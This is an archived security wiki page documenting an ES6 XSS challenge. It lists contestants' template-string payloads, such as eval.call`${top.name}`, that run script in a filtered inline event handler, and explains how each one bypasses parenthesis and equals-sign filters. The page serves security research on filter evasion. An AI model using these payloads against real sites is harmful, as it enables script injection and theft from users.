Skip to content
This repository has been archived by the owner on Jul 4, 2023. It is now read-only.

ES6 Challenge

Cure53 edited this page Apr 3, 2015 · 3 revisions

Intro

It is said that 2015 is the year of ES6. As browsers are starting to support more ES6 features, the attack vectors of XSS vary and the as-is defence (e.g. WAF, black-list filters) may not cover them. This challenge is created to see how many possibilities of ES6 there are: http://kcal.pw/es6challenge.php

Setup

As usual, the context is inline event handler. However, some critical tokens like open parenthesis, equal sign and ampersand are filtered. Previously, we can only perform XSS attack on MSIE in this scenario. However, it is no longer true with the introduction of template strings. It is also worth noting that the input is converted to lower case.

Solution & Submission

Although template strings give us alternative way to invoke functions, there are certain limitations:

  1. The first argument to the function call must be an array containing each sub-string
  2. The remaining arguments are the values of substitution expressions (if any)

...which means we cannot easily control what is passed to the function calls. This is a problem because normally we would like to pass string as the first parameter to execution sinks (e.g. eval, setTimeout). So anyway here it comes the submissions:

@masa141421356, @kinugawamasato (N/A)

vbs:eval+name

A trivial solution with vbs. IE only

@oscar3x39, @SecurityMB, @Giutro (41) & @cgvwzq (40)

eval.call`${'alert\x28document.domain)'}`

A model answer which makes use of the fact that Function.prototype.call takes the second parameter as the first parameter to the original function. The solution then escapes the equal sign in the string surrounded by a substitution expression. Note that @cgvwzq saved 1 char by replacing \x28 (hexadecimal escape) with \40 (octal escape)

@davidsgouveia (37)

document.write`${location.hash.slice`1`}`

A solution which uses document.write and location.hash. There are room for improvements with scope magic (will explain it below)

@albinowax, @mtk0308 (36)

eval.constructor`eval\x28name\x29```
eval.call`${location.hash.slice`1`}`

Those are similar ideas as the above, except the sink and source chosen are sightly different

@hasegawayosuke

[].every.call`eval\x28name)${eval}`

A very interesting solution which takes advantage of the way the callback of Array.prototype.every works. [].every can be replaced with [].map to save more chars.

@yagihashoo (33)

open.constructor`eval\x28name)```

ditto

@mage_1868 (31)

eval.call`${location.pathname}`

Yet another interesting solution which picks location.pathname as the source, so that the payload can be put into the path (e.g. /es6challenge.php/.source;alert(document.domain)?xss=)

@simps0n (25)

eval.call`${window.name}`

As you may have noticed, the submissions start to focus on using external source instead of putting the payload inside to save chars.

@tyage (23)

eval.call`${self.name}`

ditto

@hasegawayosuke, @iwasakinoriaki (22)

eval.call`${top.name}`

ditto

@rafaybaloch (19)

write`${self.name}`

As previously mentioned, document.write can be replaced with write because in inline event handler the scope will include document

@steike, @insertScript, @freddyb, @shafigullin, @kinugawamasato, @OrenHafif, @mzyy94, @molnar_g (18)

write`${location}`
write`${top.name}`

The shortest solutions submitted by challengers. The location being coerced to string is the same as document.URL. However certain characters (e.g. <, >) is encoded in URL on Firefox, while top.name is a more generic source

@filedescriptor (13)

write`${top}`

The shortest solution which abuses Symbol.toStringTag. When being coerced to string, the other frame's toString will be invoked and the result can be controlled using Symbol.toStringTag. This should be a new discovered source